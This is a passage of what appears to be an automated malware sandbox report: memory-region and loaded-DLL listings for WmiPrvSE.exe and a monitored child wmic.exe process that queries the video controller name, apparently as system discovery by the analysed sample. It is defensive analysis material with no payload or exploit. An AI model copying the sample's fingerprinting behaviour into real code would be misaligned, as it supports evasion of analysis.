region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2112 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2113 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2114 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2115 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2116 start_va = 0xe0000 end_va = 0xe4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 2117 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2118 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2119 start_va = 0x110000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2120 start_va = 0x190000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2121 start_va = 0x290000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 2122 start_va = 0x350000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 2123 start_va = 0x450000 end_va = 0x5d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 2124 start_va = 0x5e0000 end_va = 0x760fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 2125 start_va = 0x770000 end_va = 0xa3efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2126 start_va = 0xa40000 end_va = 0xa40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a40000" filename = "" Region: id = 2127 start_va = 0xad0000 end_va = 0xb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 2128 start_va = 0xb50000 end_va = 0xba1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32.dll.mui") Region: id = 2129 start_va = 0xbb0000 end_va = 0xbb1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mofd.dll.mui" filename = "\\Windows\\System32\\wbem\\en-US\\mofd.dll.mui" (normalized: "c:\\windows\\system32\\wbem\\en-us\\mofd.dll.mui") Region: id = 2130 start_va = 0xbc0000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 2131 start_va = 0xc70000 end_va = 0xceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c70000" filename = "" Region: id = 2132 start_va = 0xd30000 end_va = 0xdaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 2133 start_va = 0xdb0000 end_va = 0xe2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000db0000" filename = "" Region: id = 2134 start_va = 0xe60000 end_va = 0xedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 2135 start_va = 0xee0000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ee0000" filename = "" Region: id = 2136 start_va = 0x1060000 end_va = 0x10dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001060000" filename = "" Region: id = 2137 start_va = 0x10e0000 end_va = 0x11dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010e0000" filename = "" Region: id = 2138 start_va = 0x1280000 end_va = 0x147ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001280000" filename = "" Region: id = 2139 start_va = 0x1480000 end_va = 0x187ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001480000" filename = "" Region: id = 2140 start_va = 0x18b0000 end_va = 0x192ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000018b0000" filename = "" Region: id = 2141 start_va = 0x1930000 end_va = 0x19affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001930000" filename = "" Region: id = 2142 start_va = 0x1a90000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a90000" filename = "" Region: id = 2143 start_va = 0x77660000 end_va = 0x7777efff monitored = 0 entry_point = 0x77675340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2144 start_va = 0x77780000 end_va = 0x77879fff monitored = 0 entry_point = 0x7779a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2145 start_va = 0x77880000 end_va = 0x77a28fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2146 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2147 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2148 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2149 start_va = 0x13f330000 end_va = 0x13f39bfff monitored = 0 entry_point = 0x13f36b450 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 2150 start_va = 0x7fef24a0000 end_va = 0x7fef24edfff monitored = 0 entry_point = 0x7fef24a1198 region_type = mapped_file name = "pdh.dll" filename = "\\Windows\\System32\\pdh.dll" (normalized: "c:\\windows\\system32\\pdh.dll") Region: id = 2151 start_va = 0x7fef24f0000 end_va = 0x7fef2514fff monitored = 1 entry_point = 0x7fef2508d6c region_type = mapped_file name = "wmiperfclass.dll" filename = "\\Windows\\System32\\wbem\\WmiPerfClass.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiperfclass.dll") Region: id = 2152 start_va = 0x7fef4af0000 end_va = 0x7fef4b2cfff monitored = 0 entry_point = 0x7fef4b16f40 region_type = mapped_file name = "mofd.dll" filename = "\\Windows\\System32\\wbem\\mofd.dll" (normalized: "c:\\windows\\system32\\wbem\\mofd.dll") Region: id = 2153 start_va = 0x7fef4b50000 end_va = 0x7fef4bd5fff monitored = 1 entry_point = 0x7fef4b5ffd0 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2154 start_va = 0x7fef4be0000 end_va = 0x7fef4c1bfff monitored = 1 entry_point = 0x7fef4c05aa8 region_type = mapped_file name = "wmiprov.dll" filename = "\\Windows\\System32\\wbem\\wmiprov.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprov.dll") Region: id = 2155 start_va = 0x7fef9690000 end_va = 0x7fef96a1fff monitored = 0 entry_point = 0x7fef96989d0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 2156 start_va = 0x7fef97d0000 end_va = 0x7fef97f0fff monitored = 0 entry_point = 0x7fef97e03b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 2157 start_va = 0x7fef98f0000 end_va = 0x7fef9902fff monitored = 0 entry_point = 0x7fef98f1d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2158 start_va = 0x7fef9bd0000 end_va = 0x7fef9bddfff monitored = 0 entry_point = 0x7fef9bd5500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2159 start_va = 0x7fef9be0000 end_va = 0x7fef9c06fff monitored = 0 entry_point = 0x7fef9be11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 2160 start_va = 0x7fef9c10000 end_va = 0x7fef9ce2fff monitored = 0 entry_point = 0x7fef9c88b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2161 start_va = 0x7fef9e70000 end_va = 0x7fef9ee6fff monitored = 1 entry_point = 0x7fef9eae7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 2162 start_va = 0x7fefb850000 end_va = 0x7fefb87cfff monitored = 0 entry_point = 0x7fefb851010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2163 start_va = 0x7fefcdc0000 end_va = 0x7fefce06fff monitored = 0 entry_point = 0x7fefcdc1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2164 start_va = 0x7fefd0c0000 end_va = 0x7fefd0d7fff monitored = 0 entry_point = 0x7fefd0c3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2165 start_va = 0x7fefd230000 end_va = 0x7fefd251fff monitored = 0 entry_point = 0x7fefd235d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2166 start_va = 0x7fefd2f0000 end_va = 0x7fefd35cfff monitored = 0 entry_point = 0x7fefd2f1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2167 start_va = 0x7fefd6c0000 end_va = 0x7fefd6cefff monitored = 0 entry_point = 0x7fefd6c1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2168 start_va = 0x7fefd7b0000 end_va = 0x7fefd7c3fff monitored = 0 entry_point = 0x7fefd7b10e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2169 start_va = 0x7fefd920000 end_va = 0x7fefd98bfff monitored = 0 entry_point = 0x7fefd922780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2170 start_va = 0x7fefde50000 end_va = 0x7fefdee8fff monitored = 0 entry_point = 0x7fefde51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2171 start_va = 0x7fefdef0000 end_va = 0x7fefdf0efff monitored = 0 entry_point = 0x7fefdef60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2172 start_va = 0x7fefdf10000 end_va = 0x7fefe112fff monitored = 0 entry_point = 0x7fefdf33330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2173 start_va = 0x7fefe120000 end_va = 0x7fefe1e8fff monitored = 0 entry_point = 0x7fefe19a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2174 start_va = 0x7fefef80000 end_va = 0x7fefef8dfff monitored = 0 entry_point = 0x7fefef81080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2175 start_va = 0x7feff3d0000 end_va = 0x7feff4d8fff monitored = 0 entry_point = 0x7feff3d1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2176 start_va = 0x7feff4e0000 end_va = 0x7feff531fff monitored = 0 entry_point = 0x7feff4e10d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2177 start_va = 0x7feff540000 end_va = 0x7feff547fff monitored = 0 entry_point = 0x7feff541504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2178 start_va = 0x7feff550000 end_va = 0x7feff626fff monitored = 0 entry_point = 0x7feff553274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2179 start_va = 0x7feff7d0000 end_va = 0x7feff86efff monitored = 0 entry_point = 0x7feff7d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2180 start_va = 0x7feff870000 end_va = 0x7feff94afff monitored = 0 entry_point = 0x7feff890760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2181 start_va = 0x7feff950000 end_va = 0x7feff97dfff monitored = 0 entry_point = 0x7feff951010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2182 start_va = 0x7feff980000 end_va = 0x7feff9e6fff monitored = 0 entry_point = 0x7feff98b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2183 start_va = 0x7feffa10000 end_va = 0x7feffa5cfff monitored = 0 entry_point = 0x7feffa11070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2184 start_va = 0x7feffa60000 end_va = 0x7feffb8cfff monitored = 0 entry_point = 0x7feffaaed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2185 start_va = 0x7feffba0000 end_va = 0x7feffba0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2186 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2187 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2188 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2189 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2190 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2191 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2192 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2193 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2194 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2195 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2782 start_va = 0x22b0000 end_va = 0x232ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Thread: id = 69 os_tid = 0xe64 Thread: id = 70 os_tid = 0x518 Thread: id = 71 os_tid = 0x6bc [0173.956] DllCanUnloadNow () returned 0x1 [0173.956] DllCanUnloadNow () returned 0x1 [0295.993] DllCanUnloadNow () returned 0x1 [0295.994] DllCanUnloadNow () returned 0x1 Thread: id = 72 os_tid = 0x6c0 Thread: id = 73 os_tid = 0x6c4 Thread: id = 74 os_tid = 0x4bc Thread: id = 75 os_tid = 0x288 Thread: id = 76 os_tid = 0x604 Thread: id = 108 os_tid = 0xadc Process: id = "6" image_name = "wmic.exe" filename = "c:\\windows\\system32\\wbem\\wmic.exe" page_root = "0x438cc000" os_pid = "0xfd8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xf64" cmd_line = "wmic path win32_VideoController get name" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f0ba" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1849 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1850 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1851 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1852 start_va = 0x190000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 1853 start_va = 0x77880000 end_va = 0x77a28fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1854 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1855 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1856 start_va = 0xff1e0000 end_va = 0xff26cfff monitored = 1 entry_point = 0xff22cc30 region_type = mapped_file name = "wmic.exe" filename = "\\Windows\\System32\\wbem\\WMIC.exe" (normalized: "c:\\windows\\system32\\wbem\\wmic.exe") Region: id = 1857 start_va = 0x7feffba0000 end_va = 0x7feffba0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1858 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1859 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1860 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1861 start_va = 0x210000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1862 start_va = 0x77660000 end_va = 0x7777efff monitored = 0 entry_point = 0x77675340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1863 start_va = 0x7fefd920000 end_va = 0x7fefd98bfff monitored = 0 entry_point = 0x7fefd922780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1864 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1865 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1866 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1867 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1868 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1869 start_va = 0x7feff870000 end_va = 0x7feff94afff monitored = 0 entry_point = 0x7feff890760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1870 start_va = 0x7feff7d0000 end_va = 0x7feff86efff monitored = 0 entry_point = 0x7feff7d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1871 start_va = 0x7fefdef0000 end_va = 0x7fefdf0efff monitored = 0 entry_point = 0x7fefdef60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1872 start_va = 0x7feffa60000 end_va = 0x7feffb8cfff monitored = 0 entry_point = 0x7feffaaed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1873 start_va = 0x7fefdf10000 end_va = 0x7fefe112fff monitored = 0 entry_point = 0x7fefdf33330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1874 start_va = 0x7feff980000 end_va = 0x7feff9e6fff monitored = 0 entry_point = 0x7feff98b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1875 start_va = 0x77780000 end_va = 0x77879fff monitored = 0 entry_point = 0x7779a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1876 start_va = 0x7fefef80000 end_va = 0x7fefef8dfff monitored = 0 entry_point = 0x7fefef81080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1877 start_va = 0x7fefe120000 end_va = 0x7fefe1e8fff monitored = 0 entry_point = 0x7fefe19a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1878 start_va = 0x7feff550000 end_va = 0x7feff626fff monitored = 0 entry_point = 0x7feff553274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1879 start_va = 0x7fef4dc0000 end_va = 0x7fef4e02fff monitored = 0 entry_point = 0x7fef4de1b50 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 1880 start_va = 0x7fefd690000 end_va = 0x7fefd6b4fff monitored = 0 entry_point = 0x7fefd699658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1881 start_va = 0x7feff630000 end_va = 0x7feff6a0fff monitored = 0 entry_point = 0x7feff641e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1882 start_va = 0x7feffa10000 end_va = 0x7feffa5cfff monitored = 0 entry_point = 0x7feffa11070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1883 start_va = 0x7feff540000 end_va = 0x7feff547fff monitored = 0 entry_point = 0x7feff541504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1884 start_va = 0x7fefd660000 end_va = 0x7fefd66afff monitored = 0 entry_point = 0x7fefd661030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1885 start_va = 0x7fefb2c0000 end_va = 0x7fefb2e6fff monitored = 0 entry_point = 0x7fefb2c98bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1886 start_va = 0x7fefb2b0000 end_va = 0x7fefb2bafff monitored = 0 entry_point = 0x7fefb2b1198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1887 start_va = 0xc0000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1888 start_va = 0x210000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1889 start_va = 0x3e0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 1890 start_va = 0x4e0000 end_va = 0x667fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 1891 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1892 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1893 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1894 start_va = 0x7feff950000 end_va = 0x7feff97dfff monitored = 0 entry_point = 0x7feff951010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1895 start_va = 0x7feff3d0000 end_va = 0x7feff4d8fff monitored = 0 entry_point = 0x7feff3d1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1896 start_va = 0x670000 end_va = 0x7f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id 